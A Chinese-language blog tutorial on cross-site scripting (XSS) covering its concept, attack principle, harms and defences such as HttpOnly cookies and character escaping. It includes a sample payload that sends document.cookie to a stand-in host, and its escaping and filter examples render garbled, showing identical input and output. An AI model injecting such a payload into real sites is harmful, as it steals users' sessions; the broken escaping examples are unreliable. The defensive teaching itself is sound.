跨站脚本攻击

待我称王封你为后i 2021-10-19 19:44 365阅读 0赞

### 跨站脚本攻击 ###

*  概念
 *  攻击原理
 *  危害
 *  防范手段

# 概念 #

跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。

# 攻击原理 #

例如有一个论坛网站，攻击者可以在上面发布以下内容：

之后该内容可能会被渲染成以下形式：

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

# 危害 #

*  窃取用户的 Cookie
 *  伪造虚假的输入表单骗取个人信息
 *  显示伪造的文章或者图片

# 防范手段 #

1.  设置 Cookie 为 HttpOnly  
    设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
2.  过滤特殊字符  
    例如将 `<` 转义为 `<`，将 `>` 转义为 `>`，从而避免 HTML 和 Javascript 代码的运行。

富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，通过定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。  
  以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1>
    
    <p>123</p>
    
    <form>
      <input type="text" name="q" value="test">
    </form>
    
    <pre>hello</pre>
    
    <script type="text/javascript"> alert(/xss/); </script>
    Copy to clipboardErrorCopied
    <h1>XSS Demo</h1>
    
    <p>123</p>
    
    <form>
      <input type="text" name="q" value="test">
    </form>
    
    <pre>hello</pre>
    
    <script type="text/javascript">
    alert(/xss/);
    </script>